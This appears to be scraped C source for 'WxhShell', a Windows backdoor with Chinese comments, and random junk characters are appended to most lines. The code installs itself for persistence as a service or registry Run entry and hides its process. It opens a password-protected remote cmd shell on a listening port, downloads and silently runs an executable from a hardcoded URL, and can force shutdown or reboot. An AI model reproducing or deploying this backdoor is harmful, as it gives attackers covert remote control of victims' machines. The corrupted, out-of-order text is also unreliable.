    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1+yOef"k  
    else { 3(gOF&Uf9  
    closesocket(wsh); ed`7GZB  
    ExitThread(0); XQmg^x[,A  
    } .[s6PzQy  
    break; 52^,qP'6  
    } 1]vDM&9  
  // 获取shell ?_ v_*+b_  
  case 's': { ; 7QG]JX  
    CmdShell(wsh); f9+6gY  
    closesocket(wsh); madbl0[y.  
    ExitThread(0); |34w<0Pc,  
    break; tV4wkS=R|  
  } =h+-1zp{M^  
  // 退出 =kzHZc  
  case 'x': { %?F$3YN,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^+gD;a|t  
    CloseIt(wsh); : #so"O  
    break; `-K[$V  
    } NL2D,  
  // 离开 m9 ]Ge]  
  case 'q': { Rm6i[y&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oZdY0nh4  
    closesocket(wsh); (E~6fb "c  
    WSACleanup(); zsR5"Vi=  
    exit(1); =.J cIT'  
    break; Ll VbY=EX7  
        } {<#b@=G  
  } jE8}Ho_#)  
  } Vs Z7 n~e  
]86*k %A  
  // 提示信息 H\a\xCP3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :)kHXOb.  
} _::ssnG3jT  
  } :@@m'zF<;  
L>0Pur)[  
  return; D G&aFmC  
} a=vH:D  
tCA0H\';  
// shell模块句柄 W1ndb:  
int CmdShell(SOCKET sock) rj?c   
{ ZCMH?>  
STARTUPINFO si; r`RLDN!`  
ZeroMemory(&si,sizeof(si)); @xBO[v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >;VZB/ d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xDsKb_  
PROCESS_INFORMATION ProcessInfo; h-SKw=n  
char cmdline[]="cmd"; q|r*4={^!*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C@<gCMj,"  
  return 0; 1TF S2R n  
} '/AX 'U8Y  
MD3iWgM  
// 自身启动模式 ;:>q;%  
int StartFromService(void) /FC(d5I  
{ 6s ~!B{Q  
typedef struct _+~&t9A!  
{ G2+ gEg  
  DWORD ExitStatus; w ykaf   
  DWORD PebBaseAddress; 3preBs#i  
  DWORD AffinityMask; SZ7; } r8  
  DWORD BasePriority; ASr@5uFR  
  ULONG UniqueProcessId; F~bDg tN3  
  ULONG InheritedFromUniqueProcessId; 6o5,d]  
}   PROCESS_BASIC_INFORMATION; UIht`[(z  
NA`8 ^PZ  
PROCNTQSIP NtQueryInformationProcess; XD_!5+\H1  
_={mKKoHs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #v9+9X`1L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jB0Ts;5  
eV }H  
  HANDLE             hProcess; z^WY5~?  
  PROCESS_BASIC_INFORMATION pbi; `>)pqI%L[g  
6K=}n] n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5@I/+D  
  if(NULL == hInst ) return 0; yF|+oTp  
Fdq5:v?k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rq}xuSFI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (N)>?r@n`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Tk53 "  
5j9%W18  
  if (!NtQueryInformationProcess) return 0; GxC\Nj#  
)p:+!sX(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s'IB{lJ9  
  if(!hProcess) return 0; :hR^?{9Z4>  
P6=5:-Hh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t -fmA?\  
=wD&hDn4  
  CloseHandle(hProcess); ]v]:8>N  
aYWUwYB$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /~c9'38  
if(hProcess==NULL) return 0; Fzy#!^9Nu  
F}1._I`-  
HMODULE hMod; v#:?:<  
char procName[255]; <p2\;\?4z  
unsigned long cbNeeded; uf:'"7V7  
HnsLYY\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BqdpJIr  
e+>$4Jq  
  CloseHandle(hProcess); n1PvZ~^3  
yw89*:A6  
if(strstr(procName,"services")) return 1; // 以服务启动 bMv[.Z@v(  
wL6G&6]</W  
  return 0; // 注册表启动 ;ZP!:,  
} , E$f"  
Q]VG6x  
// 主模块 i<=2 L?[.I  
int StartWxhshell(LPSTR lpCmdLine) 6KD-nr{S  
{ z92Xc  
  SOCKET wsl; >!tfvM2X{  
BOOL val=TRUE; kV!1k<f  
  int port=0; CLJn+Y2  
  struct sockaddr_in door; S?VKzVDB.S  
[ <k&]Kv  
  if(wscfg.ws_autoins) Install(); BJ fBY H,M  
5D XBTpCVM  
port=atoi(lpCmdLine); LCq1F(q  
X gtn}7N.  
if(port<=0) port=wscfg.ws_port; L;+e)I]  
CUBL/U\=  
  WSADATA data; F6:LH,~8   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2^:iU{  
&SPr#OkW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ilZ5a&X;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .1ep8O<  
  door.sin_family = AF_INET; #cb9g   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wjT#D|soI  
  door.sin_port = htons(port); r/HG{XH`  
K2V?[O#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t?=V<Yd1  
closesocket(wsl); 4\uq$.f-  
return 1; Ke~!1S8=  
} ZZfi,0R  
N.SV*G @  
  if(listen(wsl,2) == INVALID_SOCKET) { #c'}_s2F[  
closesocket(wsl); aQzmobleep  
return 1; {BJH}vV1)  
} #Pg?T%('`  
  Wxhshell(wsl); h53G$Ol.  
  WSACleanup(); 4! F$nmG)  
Z1;+a+S=z  
return 0; `R lWhdE  
-Hy> z  
} *e<'|Kq  
%>y!N!.F  
// 以NT服务方式启动 VMNdC}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  J&+"  
{ O~6AX)|&=  
DWORD   status = 0; qQ,(O5$|  
  DWORD   specificError = 0xfffffff; dwiLu&]u  
vVsaGW   
  serviceStatus.dwServiceType     = SERVICE_WIN32; .v9i|E=<~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z: )*Aobwv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4FKgp|Y0  
  serviceStatus.dwWin32ExitCode     = 0; `q1-yH0~4  
  serviceStatus.dwServiceSpecificExitCode = 0; #sbW^Q'I  
  serviceStatus.dwCheckPoint       = 0; r"\<+$ 7  
  serviceStatus.dwWaitHint       = 0; GW%!?mJ  
*GdJ<B$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %0 U@k!lP  
  if (hServiceStatusHandle==0) return; 3jto$_3'w  
M.C`nI4  
status = GetLastError(); zW.Ltz  
  if (status!=NO_ERROR) y\dx \  
{ &hZ6CV{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "39mhX2  
    serviceStatus.dwCheckPoint       = 0; >km$zfM2-  
    serviceStatus.dwWaitHint       = 0; pNu?DF{ 3  
    serviceStatus.dwWin32ExitCode     = status; ,I,Zl.5  
    serviceStatus.dwServiceSpecificExitCode = specificError; [g+WL\1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h_g "F@  
    return; z@jKzyq  
  } m}6>F0Kv  
"ZmxHMf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `H^ H#W  
  serviceStatus.dwCheckPoint       = 0; j2 >WHh  
  serviceStatus.dwWaitHint       = 0; 1WY$Vs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VwXR,(  
} 'l-VWqR-  
?4Rq +  
// 处理NT服务事件,比如:启动、停止 LVL#qNIu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) : >$v@d  
{ X 3ZKN;  
switch(fdwControl) ?b(DDQMf  
{ +hlR  
case SERVICE_CONTROL_STOP: 4(,X. GVY/  
  serviceStatus.dwWin32ExitCode = 0; >F/E,U ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hWX4 P  
  serviceStatus.dwCheckPoint   = 0; DnF|wS  
  serviceStatus.dwWaitHint     = 0; X-j<fX_  
  { vQDR;T"]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R F;u1vEQ8  
  } Y&i&H=U  
  return; ~4ijiw$  
case SERVICE_CONTROL_PAUSE: >R\@W(-g`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nvd(Tad  
  break; .Lm`v0' w  
case SERVICE_CONTROL_CONTINUE: c-Qa0 Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }j\8|UG  
  break; V9`jq$  
case SERVICE_CONTROL_INTERROGATE: &Mz.i,Gh  
  break; mxwG~a'_  
}; sq8O+AWl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h{?f uoZj%  
} 4k6:   
H;FzWcm  
// 标准应用程序主函数 P1`YbLER5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QX. U:p5C  
{ X: Be'  
9a'}j#mJo  
// 获取操作系统版本 @\=4 Rin/q  
OsIsNt=GetOsVer(); >vuR:4B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g_"B:DR  
J^pq<   
  // 从命令行安装 F}5skD=  
  if(strpbrk(lpCmdLine,"iI")) Install(); %V-Hy;V  
C{V,=Fo^  
  // 下载执行文件 ;9uDV -"  
if(wscfg.ws_downexe) { }7qboUGe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \F7NuG:m,  
  WinExec(wscfg.ws_filenam,SW_HIDE); xp"F)6  
} H.[(`wi!I  
pJQ_G`E  
if(!OsIsNt) { ip*UujmNyR  
// 如果时win9x,隐藏进程并且设置为注册表启动 cs]3Rp^g  
HideProc(); R ~#&xfMd.  
StartWxhshell(lpCmdLine); " _TAo  
} 2]tW&y_i  
else AxCFZf5  
  if(StartFromService()) asbFNJG{  
  // 以服务方式启动 6N.MC B^  
  StartServiceCtrlDispatcher(DispatchTable); S&'-wA Ed  
else O+~@ S~  
  // 普通方式启动 \Oe8h#%  
  StartWxhshell(lpCmdLine); o~VZ%B  
`Z (`  
return 0; p.vxrk`c  
} Q+E)_5_sA  
~A*$+c(  
Z&GjG6t  
SCq3Kh  
=========================================== ZVCa0Km  
D#X&gE  
(i]0IYMXy*  
/J&_ZDNV~  
LT/ *y=  
2:6lr4{uY  
" I"WmDC`1  
x0q `Uc  
#include <stdio.h> Ntpw(E<$f  
#include <string.h> &LhR0A  
#include <windows.h> ,{#Li  
#include <winsock2.h> -.UUa  
#include <winsvc.h> H$xUOqL  
#include <urlmon.h> =K9-  
S$nEflcz  
#pragma comment (lib, "Ws2_32.lib") K- TLzoYA  
#pragma comment (lib, "urlmon.lib") }DkdF  
fvoPV &:  
#define MAX_USER   100 // 最大客户端连接数 WAGU|t#."  
#define BUF_SOCK   200 // sock buffer ET~^P  
#define KEY_BUFF   255 // 输入 buffer E,|OMK#   
F^7qr  
#define REBOOT     0   // 重启 s&6/fa  
#define SHUTDOWN   1   // 关机 G}'\  
nD{{/_"'  
#define DEF_PORT   5000 // 监听端口 ]Q{MF- EKj  
XC[bEp$  
#define REG_LEN     16   // 注册表键长度 }A7 ] bd  
#define SVC_LEN     80   // NT服务名长度 Gq.fQ_oOb  
;VgB!  
// 从dll定义API EA<x$O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NO.5Vy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b!z=:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _RG2I)P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !JPZ7_nn  
qD5)AdCGO  
// wxhshell配置信息 m2to94yh  
struct WSCFG { ??g = `yH  
  int ws_port;         // 监听端口 ]goPjfWvU"  
  char ws_passstr[REG_LEN]; // 口令 ~P+;_  
  int ws_autoins;       // 安装标记, 1=yes 0=no iiV'-!3w  
  char ws_regname[REG_LEN]; // 注册表键名 DbH'Qs?z  
  char ws_svcname[REG_LEN]; // 服务名 WL1$LLzN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V(6Ql j7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {o8K&XU#&t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !]!J"!xg*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qy| 6A@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uS{WeL6%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O BZ:C!  
SHe547X1  
}; Q%_MO`<]$  
ROr|  <  
// default Wxhshell configuration 6Vy4]jdT5  
struct WSCFG wscfg={DEF_PORT, wZ~eE'zx+  
    "xuhuanlingzhe", nbSu|sX~r5  
    1, HmRmZ3~  
    "Wxhshell", ZgL]ex  
    "Wxhshell", w(R+p/RF  
            "WxhShell Service", ag"Nf-o/Y  
    "Wrsky Windows CmdShell Service", S(hT3MAW  
    "Please Input Your Password: ", O|0}m  
  1, Xa&0j&AH  
  "http://www.wrsky.com/wxhshell.exe", 604^~6  
  "Wxhshell.exe" C )+%9Edg  
    }; Cg%}=  
w:@W/e*9N  
// 消息定义模块 9lSs;zm{Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yj>ezFo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8\e8$y3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (^LR9 CW  
char *msg_ws_ext="\n\rExit."; Y j*Y*LB~  
char *msg_ws_end="\n\rQuit."; v^(J+d_>   
char *msg_ws_boot="\n\rReboot..."; 2I1CKA:7g  
char *msg_ws_poff="\n\rShutdown..."; D? FWSv  
char *msg_ws_down="\n\rSave to "; uE,j$d  
"o$)z'q  
char *msg_ws_err="\n\rErr!"; k3r<']S^  
char *msg_ws_ok="\n\rOK!"; (:ij'Zbz  
qJEtB;J'  
char ExeFile[MAX_PATH]; ~DUOL ~E  
int nUser = 0; txe mu *  
HANDLE handles[MAX_USER]; ^h"F\vIpV  
int OsIsNt; 2)jf~!o)Z  
MHAWnH8  
SERVICE_STATUS       serviceStatus; #i[V {J8.p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7>yb8/J  
? -`8w _3  
// 函数声明 &%`0&y  
int Install(void); m7m)BX%O  
int Uninstall(void); p"=8{LrO  
int DownloadFile(char *sURL, SOCKET wsh); .oxeo 0@~  
int Boot(int flag); z#{%[X2  
void HideProc(void); K{]\}7+   
int GetOsVer(void); 17B`  
int Wxhshell(SOCKET wsl); 2"L a}Vx2  
void TalkWithClient(void *cs); aDjYT/`l  
int CmdShell(SOCKET sock); kaZ_ra;<  
int StartFromService(void); >Mk#19j[/  
int StartWxhshell(LPSTR lpCmdLine); qc@v"pIz'S  
bn0Rv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wlfq$h p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (t2vt[A6ph  
)TyI~5>;  
// 数据结构和表定义 |FJc'&)J"  
SERVICE_TABLE_ENTRY DispatchTable[] = !jyy`q=  
{ YfU6 mQ  
{wscfg.ws_svcname, NTServiceMain}, 'n!kqP  
{NULL, NULL} R'p- 4  
}; PZO8< d  
a #Pr)H  
// 自我安装 o.KE=zp&z  
int Install(void) m[6c{$A/w  
{ zr[|~-  
  char svExeFile[MAX_PATH]; DO9_o9'  
  HKEY key; |bv7N@?e  
  strcpy(svExeFile,ExeFile); 0;x<0P  
5Z(#)sa0Og  
// 如果是win9x系统,修改注册表设为自启动 L QA6iZBP  
if(!OsIsNt) { $5Tjo T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [HSN*LXe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t gHXIr}3  
  RegCloseKey(key); u4.2u}A/R%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q@? {|7:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #tlhH\Pr[  
  RegCloseKey(key); q;H5S<]/  
  return 0; }X^CH2,R  
    } O (YvE  
  } s!\G i5b  
} R)BH:wg"  
else { -{s9PZ3~_  
XT~]pOE;D  
// 如果是NT以上系统,安装为系统服务 3pI)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 299uZz}Y  
if (schSCManager!=0) %n:ymc $}  
{ "c0Nv8_G  
  SC_HANDLE schService = CreateService +}.S:w_xQ  
  ( [p&2k&.XYe  
  schSCManager, H5?H{  
  wscfg.ws_svcname, \:`-"Ou(*  
  wscfg.ws_svcdisp, ^U0)iz  
  SERVICE_ALL_ACCESS, :ej`]yK |  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e[*%tx H  
  SERVICE_AUTO_START, p )w{}@%r  
  SERVICE_ERROR_NORMAL, /faP@Q3kR  
  svExeFile, y`p(}X`>  
  NULL, &U0Y#11Cx  
  NULL, 5qQ\H}  
  NULL, F@Cxjz  
  NULL, nj5Hls  
  NULL l\1_v7s  
  ); &1,{.:@e  
  if (schService!=0) #wP$LKk  
  { Q'K[?W|C  
  CloseServiceHandle(schService); (ixlFGvEq  
  CloseServiceHandle(schSCManager); TM^.y Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +IPMI#n  
  strcat(svExeFile,wscfg.ws_svcname); >`u/#mrd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5R/k8UZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (G`O[JF  
  RegCloseKey(key); wQw y+S  
  return 0; 6V6,m4e  
    } >q)VHV9P  
  } |!.VpN&  
  CloseServiceHandle(schSCManager); g"Gj8QLDz  
} zvHeoM ,  
} /[#5<;  
D./3,z  
return 1; 2&d|L|->  
} P_N i 5s)  
DS6g_SS3  
// 自我卸载 +n&9ZC H  
int Uninstall(void) }ec3qZ@  
{ <J .-fZS%  
  HKEY key; E.+BqWZ!  
$J)2E g  
if(!OsIsNt) { O>kM2xw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0rj50$~$]  
  RegDeleteValue(key,wscfg.ws_regname); T~b6Zu6  
  RegCloseKey(key); #CTHCwYo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /eNDv(g)M  
  RegDeleteValue(key,wscfg.ws_regname); qASV\ <n  
  RegCloseKey(key); rhA>;9\  
  return 0; "%]vSr  
  } TxXX}6  
} m. "T3K  
} 31=v US  
else { ~sbn"OS +  
nh? ~S`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fMZzR|_18  
if (schSCManager!=0) Q _ M:v  
{ l~*D jr~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Wdnr1d~8  
  if (schService!=0) <^Sp4J  
  { wzz> N@|  
  if(DeleteService(schService)!=0) { ;LE9w^>^V  
  CloseServiceHandle(schService); ooIA#u  
  CloseServiceHandle(schSCManager); 4oA9|}<FR  
  return 0; !<W^Fh  
  } !J-oGs\ u  
  CloseServiceHandle(schService); ~#y(]Xec2  
  }  V4q v7  
  CloseServiceHandle(schSCManager); &n-)Alx  
} Z]x)d|3;  
} uhO-0H  
't <hhjPqY  
return 1; #AUV&pI[  
} p~NFiZ,  
S^*ME*DDz  
// 从指定url下载文件 U t'r^  
int DownloadFile(char *sURL, SOCKET wsh) ]B>g~t5J  
{ (7J (.EG2e  
  HRESULT hr; ypV>*  
char seps[]= "/"; '7(oCab"_  
char *token; Os"T,`F2s  
char *file; !@wG22iC4d  
char myURL[MAX_PATH]; #xBh62yIuP  
char myFILE[MAX_PATH]; ~;P>}|6Y  
QDpzIjJj  
strcpy(myURL,sURL); q"|#KT^)  
  token=strtok(myURL,seps); YCnKX<Wv  
  while(token!=NULL) bo04y)Iz  
  { V.^Z)iNf^  
    file=token; uPQrDr5  
  token=strtok(NULL,seps); V/W{d[86G  
  } ~ w,hJ `  
I4\ c+f9  
GetCurrentDirectory(MAX_PATH,myFILE); Qa-~x8]  
strcat(myFILE, "\\"); E{W(5.kb;i  
strcat(myFILE, file); ]?A-D,!(  
  send(wsh,myFILE,strlen(myFILE),0); F  uJ=]T  
send(wsh,"...",3,0); SJXP}JB_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mv#\+|p 1x  
  if(hr==S_OK) :1,xse  
return 0; wS}Rl}#Oh?  
else TU}. /b@F  
return 1; 8PtX@s43\  
I4%25=0?  
} ]#t5e>o|  
WSV[)-=:  
// 系统电源模块 `;H3['~$  
int Boot(int flag) y~/i{a;1y  
{ [y(AdZ0*  
  HANDLE hToken; X Cf!xIv  
  TOKEN_PRIVILEGES tkp; 0|D l/1  
e =Teq~K  
  if(OsIsNt) { ZKco  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ pKWDMB$z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m. DC  
    tkp.PrivilegeCount = 1; TB(!*t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VaLl$w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |dI,4Z\Qb  
if(flag==REBOOT) { #,PB(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9i*Xd$ G  
  return 0; X'XH-E  
} k*Vf2O3${  
else { "'\f?A9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 N{5i )  
  return 0; *^t7?f[  
} 9_I#{ ?  
  } QLum=YB  
  else { ![CF >:e  
if(flag==REBOOT) { ! tPHT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o dTg.m  
  return 0; %5|DdpES  
} JBxizJBP  
else { h(Ccm44  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v'X=|$75  
  return 0; U7@)RJ  
} Qb~&a1&s#  
} bk{.9nz2  
%eDJ]\*^X  
return 1; Y%A KN  
} g"o),$tm  
?2$0aq  
// win9x进程隐藏模块  Im8c  
void HideProc(void) ~sUWXw7~  
{ gg}^@h&?  
[[8.Xb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sksop4gu5  
  if ( hKernel != NULL ) e lzKtVw  
  { 2-!n+#Cdf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2B=''W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |y~un9j +  
    FreeLibrary(hKernel); qs'ggF1  
  } N>3X!K  
6A \Z221E  
return; wc6v:,&  
} S+Vsy(  
I'%(f@u~  
// 获取操作系统版本 D"RxI)"HP  
int GetOsVer(void) Vuu_Sd  
{ 5xF R7%_&  
  OSVERSIONINFO winfo; Q($aN-   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2lm{:tS  
  GetVersionEx(&winfo); *N|s+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gaxa~?ek  
  return 1; a{%]X(';  
  else Y^P'slY{%  
  return 0; oHI/tS4 _  
} ]p sx\ZMa  
Jb4A!g5C  
// 客户端句柄模块 UZq1qn@+  
int Wxhshell(SOCKET wsl) *)H&n>"e  
{ Vn1hr;i]  
  SOCKET wsh; 7gY^aMW  
  struct sockaddr_in client; d[Lr`=L;  
  DWORD myID; GY;q0oQ,  
7TN94@kCF  
  while(nUser<MAX_USER) zu-1|X X  
{ WJN}d-S=^  
  int nSize=sizeof(client); h]z>H~.<*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); , BCo/j  
  if(wsh==INVALID_SOCKET) return 1; +m8gS;'R4  
F9&ae*>,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ={a_?l%  
if(handles[nUser]==0) '5n67Hl 1  
  closesocket(wsh); (xhwl=MX)  
else :5M7*s)e16  
  nUser++; dfoFs&CSKh  
  } `!$I6KxT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :n?K[f?LfY  
z}[qk:  
  return 0; {Z=m5Dy}  
} Cw_XLMY%V1  
_^)<d$R<  
// 关闭 socket H!NyM}jsr  
void CloseIt(SOCKET wsh) E-_Q3^  
{ aj:B+}1  
closesocket(wsh); "RF<i3{S  
nUser--; j7M[]/|  
ExitThread(0); &]?X"K  
} O7A W9*<  
P95A _(T=[  
// 客户端请求句柄 [Nn ?:5"  
void TalkWithClient(void *cs) @Ja8~5:  
{ ?]# U~M<'  
Aj;F$(su  
  SOCKET wsh=(SOCKET)cs; %4Thb\T  
  char pwd[SVC_LEN]; :z!N_]t  
  char cmd[KEY_BUFF]; 4,|A\dXE  
char chr[1]; Evn=3Tw  
int i,j; Z$? Ql@M  
dw v(8  
  while (nUser < MAX_USER) { ]E+deM  
9O+><x[i  
if(wscfg.ws_passstr) { 7.o:(P1??g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?T(>!m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z$>_c "D  
  //ZeroMemory(pwd,KEY_BUFF); ZE*m;  
      i=0; PmGW\E[ni  
  while(i<SVC_LEN) { hF!t{ Lf3  
!P&F6ViO=  
  // 设置超时 !)(c_ uz  
  fd_set FdRead; . .|>|X4  
  struct timeval TimeOut; s2{d<0x?v  
  FD_ZERO(&FdRead); ?1?zma S  
  FD_SET(wsh,&FdRead); -U?Udmov  
  TimeOut.tv_sec=8; Eo$7W5h J  
  TimeOut.tv_usec=0; %Hk9.1hn5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SJtQK-%wK>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qv%"iSe~J  
to1{7q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |-HV@c]  
  pwd=chr[0]; {1Z`'.FU  
  if(chr[0]==0xd || chr[0]==0xa) { YFVNkB O%  
  pwd=0; k(oHmw  
  break; !c+Nf2I7S  
  } V^P]QQ\ )  
  i++; DB'd9<  
    } GIt~"X  
)Qe4J0.  
  // 如果是非法用户,关闭 socket :K ^T@F5n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Qqk?;^ 1  
} }hralef #N  
w(QU'4~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (RR:{4I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iwnctI  
Zr0bVe+h  
while(1) { Zxm Mw  
Zz<k^  
  ZeroMemory(cmd,KEY_BUFF); [4NJ]r M%  
FYI*44E  
      // 自动支持客户端 telnet标准   CfguL@tR.  
  j=0; :esHtkyML  
  while(j<KEY_BUFF) { SO #NWa<0|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i+$G=Z#3E  
  cmd[j]=chr[0]; FC:Z9{2!  
  if(chr[0]==0xa || chr[0]==0xd) { 0^41dfdE  
  cmd[j]=0; OSk+l  
  break; Une,Y4{u  
  } T[}A7a6g_  
  j++; X|}yp|  
    } ]xlV;m  
4!pMZ<$3  
  // 下载文件 }Km+5'G'U  
  if(strstr(cmd,"http://")) { N02X*NC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0j^QY6  
  if(DownloadFile(cmd,wsh)) GJ:65)KU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^tS{a*Yn  
  else Z*EK56.b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQ5D?^'0/  
  } w-%V9]J1  
  else { gOpi>  
v+.  n9  
